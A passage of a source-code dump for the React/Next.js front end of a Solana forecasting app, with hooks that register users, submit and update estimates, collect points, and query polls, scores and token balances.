    .collectPoints()
    .accountsPartial({
      user: userPda,
      forecaster: wallet.publicKey,
      poll: pollPda,
      userEstimate: userPredictionPda,
      scoringList: scoreListPda,
      userScore: userScorePda,
      mint: mintPda,
      escrowAccount: escrowPda,
      forecasterTokenAccount: tokenAccountAddress,
    })
    .instruction();

  await sendVersionedTransaction([registerUserInstruction], wallet, connection);
};

const useCollectPoints = (
  program: Program<Poe>,
  connection: Connection,
  wallet: WalletContextState
) => {
  const queryClient = useQueryClient();
  const { toast } = useToast();

  return useMutation({
    mutationFn: ({ pollId }: { pollId: number }) =>
      collectPoints(program, connection, wallet, pollId),
    onSuccess: (_, variables) => {
      toast({
        variant: "default",
        title: transactionSuccessfullText,
        description: "Points collected.",
      });
      queryClient.invalidateQueries({
        queryKey: [
          userAccountKey,
          connection.rpcEndpoint,
          wallet.publicKey?.toBase58() || "",
        ],
      });
      queryClient.invalidateQueries({
        queryKey: [allPollsByUserKey, wallet.publicKey?.toBase58()],
      });
      queryClient.invalidateQueries({
        queryKey: [pollByIdKey, variables.pollId],
      });
      queryClient.invalidateQueries({
        queryKey: [
          userScoreKey,
          variables.pollId,
          connection.rpcEndpoint,
          wallet.publicKey?.toBase58() || "",
        ],
      });
      queryClient.invalidateQueries({
        queryKey: [allUserAccounts],
      });
      queryClient.invalidateQueries({
        queryKey: [
          userAccountKey,
          connection.rpcEndpoint,
          wallet.publicKey?.toBase58() || "",
        ],
      });
      queryClient.invalidateQueries({
        queryKey: [
          userSolBalanceKey,
          connection.rpcEndpoint,
          wallet.publicKey?.toBase58() || "",
        ],
      });
      queryClient.invalidateQueries({
        queryKey: [
          userBonkBalanceKey,
          connection.rpcEndpoint,
          wallet.publicKey?.toBase58() || "",
        ],
      });
    },
    onError: (e) => {
      toast({ variant: "destructive", title: e.name, description: e.message });
    },
  });
};

export { useCollectPoints };


================================================
FILE: hooks/mutations/useMakeEstimate.tsx
================================================
import React from "react";
import { Poe } from "@/idl/poe";
import { BN, Program } from "@coral-xyz/anchor";
import { WalletContextState } from "@solana/wallet-adapter-react";
import { Connection, PublicKey, TransactionInstruction } from "@solana/web3.js";
import { useMutation, useQueryClient } from "@tanstack/react-query";
import { pollByIdKey } from "../queries/usePollById";
import { Avatar, AvatarFallback, AvatarImage } from "@/components/ui/avatar";
import { useToast } from "@/components/ui/use-toast";
import { NoUserAccountError } from "@/errors/NoUserAccountError";
import { ToastAction } from "@/components/ui/toast";
import { WalletNotConnectedError } from "@/errors/WalletNotConnectedError";
import {
  connectWalletText,
  transactionSuccessfullText,
} from "@/texts/toastTitles";
import { useWalletModal } from "@solana/wallet-adapter-react-ui";
import { userAccountKey } from "../queries/useUserAccount";
import { sendVersionedTransaction } from "../../utils/sendVersionedTransaction";
import { getAssociatedTokenAddress } from "@solana/spl-token";
import { userSolBalanceKey } from "../queries/useUserSolBalance";
import { userScoreKey } from "../queries/useUserScore";
import { userEstimateKey } from "../queries/useUserEstimateByPoll";
import { useRegisterUser } from "./useRegisterUser";

const makeEstimate = async (
  program: Program<Poe>,
  connection: Connection,
  wallet: WalletContextState,
  pollId: number,
  lowerEstimate: number | undefined,
  upperEstimate: number | undefined
) => {
  if (!wallet.publicKey) {
    throw new WalletNotConnectedError(connectWalletText);
  }

  let [userPda] = PublicKey.findProgramAddressSync(
    [Buffer.from("user"), wallet.publicKey.toBuffer()],
    program.programId
  );
  const userAccount = await connection.getAccountInfo(userPda);

  const [pollPda] = PublicKey.findProgramAddressSync(
    [Buffer.from("poll"), new BN(pollId).toArrayLike(Buffer, "le", 8)],
    program.programId
  );
  let pollAccount = await program.account.poll.fetch(pollPda);

  let [userEstimatePda] = PublicKey.findProgramAddressSync(
    [
      Buffer.from("user_estimate"),
      pollPda.toBuffer(),
      wallet.publicKey.toBuffer(),
    ],
    program.programId
  );

  let [userEstimateUpdatePda] = PublicKey.findProgramAddressSync(
    [
      Buffer.from("user_estimate_update"),
      pollPda.toBuffer(),
      wallet.publicKey.toBuffer(),
      new BN(0).toArrayLike(Buffer, "le", 8),
    ],
    program.programId
  );

  let [estimateUpdatePda] = PublicKey.findProgramAddressSync(
    [
      Buffer.from("poll_estimate_update"),
      pollPda.toBuffer(),
      pollAccount.numEstimateUpdates.toArrayLike(Buffer, "le", 8),
    ],
    program.programId
  );

  let [scoreListPda] = PublicKey.findProgramAddressSync(
    [Buffer.from("scoring_list"), pollPda.toBuffer()],
    program.programId
  );

  let [userScorePda] = PublicKey.findProgramAddressSync(
    [
      Buffer.from("user_score"),
      pollPda.toBuffer(),
      wallet.publicKey.toBuffer(),
    ],
    program.programId
  );

  let [mintPda, _mintBump] = PublicKey.findProgramAddressSync(
    [Buffer.from("poeken_mint")],
    program.programId
  );

  const forecasterTokenAccountAddress = await getAssociatedTokenAddress(
    mintPda,
    wallet.publicKey
  );

  let [escrowPda, _escrowBump] = PublicKey.findProgramAddressSync(
    [Buffer.from("escrow")],
    program.programId
  );

  const makeEstimateInstruction = await program.methods
    .makeEstimate(
      lowerEstimate !== undefined ? lowerEstimate : 0,
      upperEstimate !== undefined ? upperEstimate : 0
    )
    .accountsPartial({
      user: userPda,
      poll: pollPda,
      userEstimate: userEstimatePda,
      // userEstimateUpdate: userEstimateUpdatePda,
      pollEstimateUpdate: estimateUpdatePda,
      scoringList: scoreListPda,
      userScore: userScorePda,
      forecasterTokenAccount: forecasterTokenAccountAddress,
      mint: mintPda,
      escrowAccount: escrowPda,
    })
    .instruction();

  let instructions: TransactionInstruction[] = [];
  if (userAccount === null) {
    const registerUserInstruction = await program.methods
      .registerUser()
      .accountsPartial({
        user: userPda,
        mint: mintPda,
        tokenAccount: forecasterTokenAccountAddress,
      })
      .instruction();
    instructions = [registerUserInstruction, makeEstimateInstruction];
  } else {
    instructions = [makeEstimateInstruction];
  }

  await sendVersionedTransaction(instructions, wallet, connection);
};

const useMakeEstimate = (
  program: Program<Poe>,
  connection: Connection,
  wallet: WalletContextState
) => {
  const queryClient = useQueryClient();
  const { toast } = useToast();
  const { mutate: registerUser } = useRegisterUser(program, connection, wallet);
  const { setVisible } = useWalletModal();

  return useMutation({
    mutationFn: ({
      pollId,
      lowerEstimate,
      upperEstimate,
    }: {
      pollId: number;
      lowerEstimate: number | undefined;
      upperEstimate: number | undefined;
    }) =>
      makeEstimate(
        program,
        connection,
        wallet,
        pollId,
        lowerEstimate,
        upperEstimate
      ),
    onSuccess: (_, variables) => {
      toast({
        variant: "default",
        title: transactionSuccessfullText,
        description: "Estimate is submitted.",
      });
      queryClient.invalidateQueries({
        queryKey: [pollByIdKey, variables.pollId],
      });
      queryClient.invalidateQueries({
        queryKey: [
          userEstimateKey,
          variables.pollId,
          connection.rpcEndpoint,
          wallet.publicKey?.toBase58() || "",
        ],
      });
      queryClient.invalidateQueries({
        queryKey: [
          userScoreKey,
          variables.pollId,
          connection.rpcEndpoint,
          wallet.publicKey?.toBase58() || "",
        ],
      });
      queryClient.invalidateQueries({
        queryKey: [
          userSolBalanceKey,
          connection.rpcEndpoint,
          wallet.publicKey?.toBase58() || "",
        ],
      });
      queryClient.invalidateQueries({
        queryKey: [
          userAccountKey,
          connection.rpcEndpoint,
          wallet.publicKey?.toBase58() || "",
        ],
      });
    },
    onError: (e) => {
      if (e instanceof NoUserAccountError) {
        toast({
          variant: "destructive",
          title: e.name,
          description: (
            <div className="flex gap-2 items-center">
              <Avatar className="h-12 w-12">
                <AvatarImage src="/avatar.png" alt="@shadcn" />
                <AvatarFallback>Av</AvatarFallback>
              </Avatar>
              <div>Please create a user account first.</div>
            </div>
          ),
          action: (
            <ToastAction
              altText="Create User Account"
              onClick={() => registerUser()}
            >
              Create Account
            </ToastAction>
          ),
          duration: 8000,
        });
      } else if (e instanceof WalletNotConnectedError) {
        toast({
          variant: "destructive",
          title: e.name,
          description: e.message,
          action: (
            <ToastAction
              altText="Connect wallet"
              onClick={() => setVisible(true)}
            >
              Connect Wallet
            </ToastAction>
          ),
          duration: 8000,
        });
      } else {
        toast({
          variant: "destructive",
          title: e.name,
          description: e.message,
        });
      }
    },
  });
};

export { useMakeEstimate };


================================================
FILE: hooks/mutations/useRegisterUser.tsx
================================================
import { Poe } from "@/idl/poe";
import { Program } from "@coral-xyz/anchor";
import { WalletContextState } from "@solana/wallet-adapter-react";
import { Connection, PublicKey } from "@solana/web3.js";
import { getAssociatedTokenAddress } from "@solana/spl-token";
import { useMutation, useQueryClient } from "@tanstack/react-query";
import { userAccountKey } from "../queries/useUserAccount";
import { userSolBalanceKey } from "../queries/useUserSolBalance";
import { useToast } from "@/components/ui/use-toast";
import {
  connectWalletText,
  transactionSuccessfullText,
} from "@/texts/toastTitles";
import { WalletNotConnectedError } from "@/errors/WalletNotConnectedError";
import { sendVersionedTransaction } from "../../utils/sendVersionedTransaction";
import { allUserAccounts } from "../queries/useAllUserAccounts";

const registerUser = async (
  program: Program<Poe>,
  connection: Connection,
  wallet: WalletContextState
) => {
  if (!wallet.publicKey) {
    throw new WalletNotConnectedError(connectWalletText);
  }

  let [userPda] = PublicKey.findProgramAddressSync(
    [Buffer.from("user"), wallet.publicKey.toBuffer()],
    program.programId
  );

  let [mintPda, mintBump] = PublicKey.findProgramAddressSync(
    [Buffer.from("poeken_mint")],
    program.programId
  );

  const tokenAccountAddress = await getAssociatedTokenAddress(
    mintPda,
    wallet.publicKey
  );

  const registerUserInstruction = await program.methods
    .registerUser()
    .accountsPartial({
      user: userPda,
      mint: mintPda,
      tokenAccount: tokenAccountAddress,
    })
    .instruction();

  await sendVersionedTransaction([registerUserInstruction], wallet, connection);
};

const useRegisterUser = (
  program: Program<Poe>,
  connection: Connection,
  wallet: WalletContextState
) => {
  const queryClient = useQueryClient();
  const { toast } = useToast();

  return useMutation({
    mutationFn: () => registerUser(program, connection, wallet),
    onSuccess: () => {
      toast({
        variant: "default",
        title: transactionSuccessfullText,
        description: "User is registered.",
      });
      queryClient.invalidateQueries({
        queryKey: [
          userAccountKey,
          connection.rpcEndpoint,
          wallet.publicKey?.toBase58() || "",
        ],
      });
      queryClient.invalidateQueries({
        queryKey: [allUserAccounts],
      });
      queryClient.invalidateQueries({
        queryKey: [
          userSolBalanceKey,
          connection.rpcEndpoint,
          wallet.publicKey?.toBase58() || "",
        ],
      });
    },
    onError: (e) => {
      toast({
        variant: "destructive",
        title: e.name,
        description: e.message,
      });
    },
  });
};

export { useRegisterUser };


================================================
FILE: hooks/mutations/useUpdateEstimate.ts
================================================
import { Poe } from "@/idl/poe";
import { BN, Program } from "@coral-xyz/anchor";
import { WalletContextState } from "@solana/wallet-adapter-react";
import { Connection, PublicKey } from "@solana/web3.js";
import { useMutation, useQueryClient } from "@tanstack/react-query";
import { userSolBalanceKey } from "../queries/useUserSolBalance";
import { userEstimateKey } from "../queries/useUserEstimateByPoll";
import { pollByIdKey } from "../queries/usePollById";
import { userScoreKey } from "../queries/useUserScore";
import { WalletNotConnectedError } from "@/errors/WalletNotConnectedError";
import { useToast } from "@/components/ui/use-toast";
import {
  connectWalletText,
  transactionSuccessfullText,
} from "@/texts/toastTitles";
import { sendVersionedTransaction } from "../../utils/sendVersionedTransaction";

const updateEstimate = async (
  program: Program<Poe>,
  connection: Connection,
  wallet: WalletContextState,
  pollId: number,
  lowerEstimate: number | undefined,
  upperEstimate: number | undefined
) => {
  if (!wallet.publicKey) {
    throw new WalletNotConnectedError(connectWalletText);
  }

  const [pollPda] = PublicKey.findProgramAddressSync(
    [Buffer.from("poll"), new BN(pollId).toArrayLike(Buffer, "le", 8)],
    program.programId
  );

  let pollAccount = await program.account.poll.fetch(pollPda);

  let [userEstimatePda] = PublicKey.findProgramAddressSync(
    [
      Buffer.from("user_estimate"),
      pollPda.toBuffer(),
      wallet.publicKey.toBuffer(),
    ],
    program.programId
  );

  let userEstimateAccount = await program.account.userEstimate.fetch(
    userEstimatePda
  );

  let [userEstimateUpdatePda] = PublicKey.findProgramAddressSync(
    [
      Buffer.from("user_estimate_update"),
      pollPda.toBuffer(),
      wallet.publicKey.toBuffer(),
      userEstimateAccount.numEstimateUpdates.toArrayLike(Buffer, "le", 8),
    ],
    program.programId
  );

  let [estimateUpdatePda] = PublicKey.findProgramAddressSync(
    [
      Buffer.from("poll_estimate_update"),
      pollPda.toBuffer(),
      pollAccount.numEstimateUpdates.toArrayLike(Buffer, "le", 8),
    ],
    program.programId
  );

  let [scoreListPda] = PublicKey.findProgramAddressSync(
    [Buffer.from("scoring_list"), pollPda.toBuffer()],
    program.programId
  );

  let [userScorePda] = PublicKey.findProgramAddressSync(
    [
      Buffer.from("user_score"),
      pollPda.toBuffer(),
      wallet.publicKey.toBuffer(),
    ],
    program.programId
  );

  const updateEstimateInstruction = await program.methods
    .updateEstimate(
      lowerEstimate !== undefined ? lowerEstimate : 0,
      upperEstimate !== undefined ? upperEstimate : 0
    )
    .accountsPartial({
      poll: pollPda,
      userEstimate: userEstimatePda,
      userEstimateUpdate: userEstimateUpdatePda,
      estimateUpdate: estimateUpdatePda,
      scoringList: scoreListPda,
      userScore: userScorePda,
    })
    .instruction();

  await sendVersionedTransaction(
    [updateEstimateInstruction],
    wallet,
    connection
  );
};

const useUpdateEstimate = (
  program: Program<Poe>,
  connection: Connection,
  wallet: WalletContextState
) => {
  const queryClient = useQueryClient();
  const { toast } = useToast();

  return useMutation({
    mutationFn: ({
      pollId,
      lowerEstimate,
      upperEstimate,
    }: {
      pollId: number;
      lowerEstimate: number | undefined;
      upperEstimate: number | undefined;
    }) =>
      updateEstimate(
        program,
        connection,
        wallet,
        pollId,
        lowerEstimate,
        upperEstimate
      ),
    onSuccess: (_, variables) => {
      toast({
        variant: "default",
        title: transactionSuccessfullText,
        description: "Estimate updated.",
      });
      queryClient.invalidateQueries({
        queryKey: [
          userEstimateKey,
          variables.pollId,
          connection.rpcEndpoint,
          wallet.publicKey?.toBase58() || "",
        ],
      });
      queryClient.invalidateQueries({
        queryKey: [pollByIdKey, variables.pollId],
      });
      queryClient.invalidateQueries({
        queryKey: [
          userScoreKey,
          variables.pollId,
          connection.rpcEndpoint,
          wallet.publicKey?.toBase58() || "",
        ],
      });
      queryClient.invalidateQueries({
        queryKey: [
          userSolBalanceKey,
          connection.rpcEndpoint,
          wallet.publicKey?.toBase58() || "",
        ],
      });
    },
    onError: (e) => {
      toast({
        variant: "destructive",
        title: e.name,
        description: e.message,
      });
    },
  });
};

export { useUpdateEstimate };


================================================
FILE: hooks/queries/useAllPolls.ts
================================================
import { keepPreviousData, useQuery } from "@tanstack/react-query";
import { Program } from "@coral-xyz/anchor";
import { Poll } from "@/lib/types";
import { Poe } from "@/idl/poe";

const allPollsKey = "allPolls";

const getAllPolls = async (program: Program<Poe>) => {
  const polls = await program.account.poll.all();

  return polls
    .filter(
      (poll) =>
        poll.account.creator.toBase58() ===
        "3aSqvNz5XuBkudHZLZZSfio3Hd6nxEEzUWSwvggWWDR1"
    )
    .sort((a, b) => a.account.id - b.account.id)
    .map((poll) => poll.account) as unknown as Poll[];
};

const useAllPolls = (program: Program<Poe>) => {
  return useQuery({
    queryKey: [allPollsKey],
    queryFn: async () => await getAllPolls(program),
    enabled: !!program,
    placeholderData: keepPreviousData,
  });
};

export { useAllPolls, allPollsKey };


================================================
FILE: hooks/queries/useAllPollsByUser.ts
================================================
import { keepPreviousData, useQuery } from "@tanstack/react-query";
import { Program } from "@coral-xyz/anchor";
import { Poe } from "@/idl/poe";
import { PublicKey } from "@solana/web3.js";
import { useAllUserPredictions } from "./useAllUserPredictions";
import { Poll } from "@/lib/types";

const allPollsByUserKey = "allPollsByUser";

const getAllPollsByUser = async (
  program: Program<Poe>,
  addresses: PublicKey[] | undefined
) => {
  if (addresses !== undefined) {
    return (await program.account.poll.fetchMultiple(
      addresses
    )) as unknown as Poll[];
  } else {
    return [] as Poll[];
  }
};

const useAllPollsByUser = (
  program: Program<Poe>,
  publicKey: PublicKey | null
) => {
  const { data: userPredictions } = useAllUserPredictions(program, publicKey);
  const userPollAddresses = userPredictions?.map(
    (userPrediction) => userPrediction.account.poll
  );
  return useQuery({
    queryKey: [
      allPollsByUserKey,
      publicKey?.toBase58(),
      userPollAddresses?.length,
    ],
    queryFn: async () => await getAllPollsByUser(program, userPollAddresses),
    enabled: !!program && !!userPredictions,
    placeholderData: keepPreviousData,
  });
};

export { useAllPollsByUser, getAllPollsByUser, allPollsByUserKey };


================================================
FILE: hooks/queries/useAllUserAccounts.ts
================================================
import { useQuery } from "@tanstack/react-query";
import { Program } from "@coral-xyz/anchor";
import { Poe } from "@/idl/poe";
import { UserAccount } from "@/lib/types";

const allUserAccounts = "allUserAccounts";

const getAllUserPredictions = async (program: Program<Poe>) => {
  const accounts = await program.account.user.all();

  return accounts.sort((a, b) => b.account.score - a.account.score);
};

const useAllUserAccounts = (program: Program<Poe>) => {
  return useQuery({
    queryKey: [allUserAccounts],
    queryFn: async () => await getAllUserPredictions(program),
    // staleTime: Infinity,
    enabled: !!program,
  });
};

export { useAllUserAccounts, getAllUserPredictions, allUserAccounts };


================================================
FILE: hooks/queries/useAllUserPredictions.ts
================================================
import { useQuery } from "@tanstack/react-query";
import { PublicKey } from "@solana/web3.js";
import { Program } from "@coral-xyz/anchor";
import { Poe } from "@/idl/poe";

const allUserEstimatesKey = "allUserEstimates";

const getAllUserPredictions = async (
  program: Program<Poe>,
  publicKey: PublicKey | null
) => {
  if (publicKey) {
    return await program.account.userEstimate.all([
      {
        memcmp: {
          offset: 8, // discriminator
          bytes: publicKey.toBase58(),
        },
      },
    ]);
  } else {
    return null;
  }
};

const useAllUserPredictions = (
  program: Program<Poe>,
  publicKey: PublicKey | null
) => {
  return useQuery({
    queryKey: [allUserEstimatesKey, publicKey?.toBase58() || ""],
    queryFn: async () => await getAllUserPredictions(program, publicKey),
    staleTime: Infinity,
    enabled: !!program,
  });
};

export { useAllUserPredictions, getAllUserPredictions, allUserEstimatesKey };


================================================
FILE: hooks/queries/useEstimateUpdatesByPoll.ts
================================================
import { keepPreviousData, useQuery } from "@tanstack/react-query";
import { BN, Program } from "@coral-xyz/anchor";
import { PublicKey } from "@solana/web3.js";
import { Poe } from "@/idl/poe";

type EstimateData = {
  name: Date;
  estimate: number | null;
  confidenceInterval: number[] | null;
};

const estimateUpdatesByPollKey = "estimateUpdatesByPoll";

const getEstimateUpdatesByPoll = async (
  program: Program<Poe>,
  pollId: number,
  publicKey: PublicKey | null
) => {
  const [pollPda] = PublicKey.findProgramAddressSync(
    [Buffer.from("poll"), new BN(pollId).toArrayLike(Buffer, "le", 8)],
    program.programId
  );
  const pollAccount = await program.account.poll.fetch(pollPda);

  const estimateUpdates = await program.account.pollEstimateUpdate.all([
    {
      memcmp: {
        offset: 8, // discriminator
        bytes: pollPda.toBase58(),
      },
    },
  ]);

  estimateUpdates.sort(
    (a, b) => a.account.timestamp.toNumber() - b.account.timestamp.toNumber()
  );

  const updateData = estimateUpdates.map((update) => {
    const timestamp = update.account.timestamp.toNumber();

    return {
      timestamp: timestamp,
      estimate: update.account.estimate,
      deviation:
        update.account.variance !== null && update.account.variance >= 0
          ? Math.sqrt(update.account.variance / 2)
          : null,
    };
  });

  updateData.sort((a, b) => a.timestamp - b.timestamp);

  let estimates = [];
  let today = new Date().getTime();

  let lastDisplayTime =
    pollAccount.result === null
      ? today / 1000
      : updateData[updateData.length - 1].timestamp;

  for (let i = 0; i < updateData.length - 1; i++) {
    const time = updateData[i].timestamp;
    const estimate = updateData[i].estimate;
    const deviation = updateData[i].deviation;

    const nextTime = updateData[i + 1].timestamp;
    // Fill with data between updates, not necessary but a smoother experience
    for (let j = 0; j < nextTime - time; j = j + 60000000000000) {
      estimates.push({
        name: time + j,
        estimate: estimate !== null ? estimate / 10000 : null,
        confidenceInterval:
          deviation !== null && estimate !== null
            ? [estimate / 10000 - deviation, estimate / 10000 + deviation]
            : null,
      } as unknown as EstimateData);
    }
    estimates.push({
      name: nextTime,
      estimate: estimate !== null ? estimate / 10000 : null,
      confidenceInterval:
        deviation !== null && estimate !== null
          ? [estimate / 10000 - deviation, estimate / 10000 + deviation]
          : null,
    } as unknown as EstimateData);
  }
  const lastTimestamp = updateData[updateData.length - 1].timestamp;
  const lastEstimate = updateData[updateData.length - 1].estimate;
  const lastDeviation = updateData[updateData.length - 1].deviation;
  for (let k = 0; k < lastDisplayTime - lastTimestamp; k = k + 1000000000) {
    estimates.push({
      name: lastTimestamp + k,
      estimate: lastEstimate !== null ? lastEstimate / 10000 : null,
      confidenceInterval:
        lastDeviation !== null && lastEstimate !== null
          ? [
              lastEstimate / 10000 - lastDeviation,
              lastEstimate / 10000 + lastDeviation,
            ]
          : null,
    } as unknown as EstimateData);
  }
  estimates.push({
    name: lastDisplayTime,
    estimate: lastEstimate !== null ? lastEstimate / 10000 : null,
    confidenceInterval:
      lastDeviation !== null && lastEstimate !== null
        ? [
            lastEstimate / 10000 - lastDeviation,
            lastEstimate / 10000 + lastDeviation,
          ]
        : null,
  } as unknown as EstimateData);

  return estimates;
};

const useEstimateUpdatesByPoll = (
  program: Program<Poe>,
  pollId: number,
  publicKey: PublicKey | null
) => {
  return useQuery({
    queryKey: [estimateUpdatesByPollKey, pollId],
    queryFn: async () =>
      await getEstimateUpdatesByPoll(program, pollId, publicKey),
    enabled: !!program,
    placeholderData: keepPreviousData,
    refetchInterval: 10000,
  });
};

export {
  useEstimateUpdatesByPoll,
  getEstimateUpdatesByPoll,
  estimateUpdatesByPollKey,
};


================================================
FILE: hooks/queries/usePollById.ts
================================================
import { useQuery } from "@tanstack/react-query";
import { PublicKey } from "@solana/web3.js";
import { BN, Program } from "@coral-xyz/anchor";
import { Poe } from "@/idl/poe";

const pollByIdKey = "pollById";

const getPollById = async (program: Program<Poe>, pollId: number) => {
  const [pollPda] = PublicKey.findProgramAddressSync(
    [Buffer.from("poll"), new BN(pollId).toArrayLike(Buffer, "le", 8)],
    program.programId
  );

  return await program.account.poll.fetch(pollPda);
};

const usePollById = (
  program: Program<Poe>,
  pollId: number,
  isVisible: boolean
) => {
  return useQuery({
    queryKey: [pollByIdKey, pollId],
    queryFn: async () => await getPollById(program, pollId),
    enabled: !!program && isVisible,
  });
};

export { usePollById, getPollById, pollByIdKey };


================================================
FILE: hooks/queries/useUserAccount.ts
================================================
import { useQuery } from "@tanstack/react-query";
import { Connection, PublicKey } from "@solana/web3.js";
import { Program } from "@coral-xyz/anchor";
import { Poe } from "@/idl/poe";

const userAccountKey = "userAccount";

const getUserAccount = async (
  program: Program<Poe>,
  connection: Connection,
  publicKey: PublicKey | null
) => {
  if (publicKey) {
    let [userPda] = PublicKey.findProgramAddressSync(
      [Buffer.from("user"), publicKey.toBuffer()],
      program.programId
    );

    const userAccount = await connection.getAccountInfo(userPda);
    if (userAccount) {
      return await program.account.user.fetch(userPda);
    } else {
      return null;
    }
  } else {
    return null;
  }
};

const useUserAccount = (
  program: Program<Poe>,
  connection: Connection,
  publicKey: PublicKey | null
) => {
  return useQuery({
    queryKey: [
      userAccountKey,
      connection.rpcEndpoint,
      publicKey?.toBase58() || "",
    ],
    queryFn: async () => await getUserAccount(program, connection, publicKey),
    staleTime: Infinity,
    enabled: !!program,
  });
};

export { useUserAccount, getUserAccount, userAccountKey };


================================================
FILE: hooks/queries/useUserBonkBalance.ts
================================================
import { useQuery } from "@tanstack/react-query";
import { Connection, PublicKey } from "@solana/web3.js";
import { Program } from "@coral-xyz/anchor";
import { Poe } from "@/idl/poe";
import { getAssociatedTokenAddress } from "@solana/spl-token";

const userBonkBalanceKey = "userBonkBalance";

const getUserBalance = async (
  program: Program<Poe>,
  connection: Connection,
  publicKey: PublicKey | null
) => {
  let [mintPda, _mintBump] = PublicKey.findProgramAddressSync(
    [Buffer.from("poeken_mint")],
    program.programId
  );

  if (publicKey) {
    const tokenAccount = await getAssociatedTokenAddress(mintPda, publicKey);
    const info = await connection.getTokenAccountBalance(tokenAccount);

    return info.value.uiAmount;
  } else {
    return 0;
  }
};

const useUserBonkBalance = (
  program: Program<Poe>,
  connection: Connection,
  publicKey: PublicKey | null
) => {
  return useQuery({
    queryKey: [
      userBonkBalanceKey,
      connection.rpcEndpoint,
      publicKey?.toBase58() || "",
    ],
    queryFn: async () => await getUserBalance(program, connection, publicKey),
    initialDataUpdatedAt: Date.now(),
  });
};

export { useUserBonkBalance, getUserBalance, userBonkBalanceKey };


================================================
FILE: hooks/queries/useUserEstimateByPoll.ts
================================================
import { useQuery } from "@tanstack/react-query";
import { Connection, PublicKey } from "@solana/web3.js";
import { BN, Program } from "@coral-xyz/anchor";
import { Poe } from "@/idl/poe";

const userEstimateKey = "userEstimate";

const getUserEstimateByPoll = async (
  program: Program<Poe>,
  connection: Connection,
  publicKey: PublicKey | null,
  pollId: number
) => {
  if (publicKey) {
    const [pollPda] = PublicKey.findProgramAddressSync(
      [Buffer.from("poll"), new BN(pollId).toArrayLike(Buffer, "le", 8)],
      program.programId
    );

    let [userPredictionPda] = PublicKey.findProgramAddressSync(
      [Buffer.from("user_estimate"), pollPda.toBuffer(), publicKey.toBuffer()],
      program.programId
    );

    const userPredictionAccount = await connection.getAccountInfo(
      userPredictionPda
    );

    if (userPredictionAccount) {
      return await program.account.userEstimate.fetch(userPredictionPda);
    } else {
      return null;
    }
  } else {
    return null;
  }
};

const useUserEstimateByPoll = (
  program: Program<Poe>,
  connection: Connection,
  publicKey: PublicKey | null,
  pollId: number,
  isVisible: boolean
) => {
  return useQuery({
    queryKey: [
      userEstimateKey,
      pollId,
      connection.rpcEndpoint,
      publicKey?.toBase58() || "",
    ],
    queryFn: async () =>
      await getUserEstimateByPoll(program, connection, publicKey, pollId),
    staleTime: Infinity,
    enabled: !!program && isVisible,
  });
};

export { useUserEstimateByPoll, getUserEstimateByPoll, userEstimateKey };


================================================
FILE: hooks/queries/useUserScore.ts
================================================
import { useQuery } from "@tanstack/react-query";
import { Connection, PublicKey } from "@solana/web3.js";
import { BN, Program } from "@coral-xyz/anchor";
import { Poe } from "@/idl/poe";

const userScoreKey = "userScore";

const getUserScore = async (
  program: Program<Poe>,
  connection: Connection,
  publicKey: PublicKey | null,
  pollId: number | undefined
) => {
  if (publicKey !== null && pollId !== undefined) {
    const [pollPda] = PublicKey.findProgramAddressSync(
      [Buffer.from("poll"), new BN(pollId).toArrayLike(Buffer, "le", 8)],
      program.programId
    );

    let [userScorePda] = PublicKey.findProgramAddressSync(
      [Buffer.from("user_score"), pollPda.toBuffer(), publicKey.toBuffer()],
      program.programId
    );

    const userScoreAccount = await connection.getAccountInfo(userScorePda);

    if (userScoreAccount) {
      return await program.account.userScore.fetch(userScorePda);
    } else {
      return null;
    }
  } else {
    return null;
  }
};

const useUserScore = (
  program: Program<Poe>,
  connection: Connection,
  publicKey: PublicKey | null,
  pollId: number | undefined,
  isVisible: boolean
) => {
  return useQuery({
    queryKey: [
      userScoreKey,
      pollId,
      connection.rpcEndpoint,
      publicKey?.toBase58() || "",
    ],
    queryFn: async () =>
      await getUserScore(program, connection, publicKey, pollId),
    enabled: isVisible,
  });
};

export { useUserScore, getUserScore, userScoreKey };


================================================
FILE: hooks/queries/useUserSolBalance.ts
================================================
import { useQuery } from "@tanstack/react-query";
import { Connection, PublicKey, LAMPORTS_PER_SOL } from "@solana/web3.js";

const userSolBalanceKey = "userSolBalance";

const getUserBalance = async (
  connection: Connection,
  publicKey: PublicKey | null
) => {
  if (publicKey) {
    const balance = await connection.getBalance(publicKey, "confirmed");
    return balance / LAMPORTS_PER_SOL;
  } else {
    return 0;
  }
};

const useUserSolBalance = (
  connection: Connection,
  publicKey: PublicKey | null
) => {
  return useQuery({
    queryKey: [
      userSolBalanceKey,
      connection.rpcEndpoint,
      publicKey?.toBase58() || "",
    ],
    queryFn: async () => await getUserBalance(connection, publicKey),
    initialDataUpdatedAt: Date.now(),
  });
};

export { useUserSolBalance, getUserBalance, userSolBalanceKey };


================================================
FILE: hooks/states/useTabStore.tsx
================================================
import { create } from "zustand";

type TabState = "all" | "coming";

interface TabsState {
  tab: TabState;
  setTab: (newTab: string) => void;
}
export const useTabsStore = create<TabsState>()((set) => ({
  tab: "coming",
  setTab: (newTab: string) => set({ tab: newTab as TabState }),
}));


================================================
FILE: hooks/useAnchorProgram.tsx
================================================
import { useEffect, useState } from "react";
import { AnchorProvider, Idl, Program } from "@coral-xyz/anchor";
import { useAnchorWallet, useConnection } from "@solana/wallet-adapter-react";
import idlFile from "@/idl/poe.json";
import { Poe } from "@/idl/poe";
import { Keypair } from "@solana/web3.js";

export default function useAnchorProgram(): Program<Poe> {
  const { connection } = useConnection();
  const wallet = useAnchorWallet();
  const [program, setProgram] = useState<Program<Poe> | null>(null);

  const idl = idlFile as Idl;

  useEffect(() => {
    let provider;
    if (wallet) {
      provider = new AnchorProvider(connection, wallet);
    } else {
      provider = new AnchorProvider(connection, {
        publicKey: Keypair.generate().publicKey,
        signAllTransactions: async (txes) => txes,
        signTransaction: async (tx) => tx,
      });
    }

    const program = new Program(idl, provider) as unknown as Program<Poe>;
    setProgram(program);
  }, [wallet, connection, idl]);

  return program as Program<Poe>;
}


================================================
FILE: hooks/useIntersectionObserver.tsx
================================================
import { MutableRefObject, useEffect, useState } from "react";

interface IntersectionObserverOptions {
  root?: Element | null;
  rootMargin?: string;
  threshold?: number | number[];
}

const useIntersectionObserver = (
  ref: MutableRefObject<Element | null>,
  options?: IntersectionObserverOptions
) => {
  const [isIntersecting, setIsIntersecting] = useState(false);

  useEffect(() => {
    const observer = new IntersectionObserver(([entry]) => {
      setIsIntersecting(entry.isIntersecting);
    }, options);

    const node = ref.current;
    if (node) {
      observer.observe(node);
    }

    return () => {
      if (node) {
        observer.unobserve(node);
      }
    };
  }, [ref, options]);

  return isIntersecting;
};

export default useIntersectionObserver;


================================================
